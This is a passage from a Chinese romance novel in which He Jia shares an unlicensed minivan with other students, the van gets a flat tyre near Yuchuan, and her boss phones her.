女孩指了指身旁的几个人,“我们也没赶上。”
她身边三个人,其中一个男生说:“哎,既然我们都没赶上,要不要拼个车啊?”
“拼车?”何嘉看向他。
话音刚落,不晓得从哪儿冒出一个中年大叔。
“同学们同学们,你们是要找车哇?”
一行人望着他说:“你有车?”
大叔眼睛亮了:“我就是专门开车的噻。”他指着自己的车,上面写着“安城往返余川”。
“你们几个人啊,我看看,五个是吧,我这面包车刚好拉一车啊!这样吧,你们一人一百,划算嘛,我把你们拉到余川肯定比坐大巴快噻!”
那个男生说:“大巴卖两百你卖一百?你这一个黑车那么贵!”
大叔不高兴了:“什么黑车黑车!我有证上路的好不好!切,两百的大巴你们没赶上,现在不坐一百的面包车就算了呗,反正最近天气冷,你们不怕冷就捱着。”
刚才的女生听他这么说,有点心动了:“诶大家,要不坐他的车吧,我们一起有好几个人,应该挺安全的,再说了刚才没赶上大巴,等下一辆都凌晨了。”
那男生想了想觉得在理:“那也可以吧。”又转头看了眼何嘉:“哎这个同学,你一起吗?”
何嘉本来担心这种车不安全,但看他们有四个人,觉得应该凑合。
“好,我也一起。”
大叔支着耳朵听他们讲话,听到满意的答案又跳回来:“哎呀,年轻人就是脑袋好使!还是知道我要划算一点的!快上车吧,安全带系上啊!”
何嘉跟一个女生挨着坐,两个人都内向不喜欢讲话。
车里的暖气开得足,不一会儿何嘉的困意又上来了。
就睡一小会儿。她提醒自己。
一路上大叔不停和那个男生吹牛,两个人从辛亥革命讲到美国加息,各自有自己汹涌澎拜的见解,简直是相见甚晚。
何嘉在后边听得更困了。
头悬在空中点一点,彻底忘记时间。
再次醒来,还是被大叔的声音吵醒——
“哎呦我操!”
“怎么了怎么了?”坐在何嘉前面的女生说到。
大叔站在外面检查轮胎,只见左边的轮胎瘪下去,看上去形势不容乐观。
再看一看,真的是火冒三丈:“哦豁!老子真的遇得到哦!车子爆胎了!”
那个男生也下车去看,“啊?那怎么办?现在到哪儿了?”
大叔朝前一指,“余川收费站。还是多幸运的,刚到余川就爆胎了,幸好没爆在半路上。”
“这还没到市区啊,那我们怎么回去?”两个女生下车围住大叔。
大叔咂咂嘴,说:“哎呀,只有你们自己打个车回去了,要不就在服务区待一晚上,等明天拖车的过来。”
“那不行啊,你收一百是包我们到市区的。”
“哎呀哎呀,特殊情况嘛,谅解一下撒!”
“那不行,你退二十,我们打车回去了。”
大叔肉痛:“得得得,都下来嘛,一人扫八十走人。”
何嘉也跟着下车扫了八十,然后就站在服务区不知道怎么办了。
已经快十点,早就过了正常的回店时间,想必饭馆早就关门了。
她打开滴滴,发现从这儿回饭馆竟然要五十八!
怎么不去抢钱!
她实在是觉得心痛,都怪自己在公交上睡过了。都二十多的人怎么还犯这种低级错误。
唉。她在犹豫中按下打车键,一个电话突然闯进画面。
瞥到对方名字的时候她的眼神亮了亮,声音里多了一丝期待。
“喂?老板?”
李成杨充满磁性的声音就在她耳旁,带着一点点沙哑。
他问她:“不是说九点?还没回来?”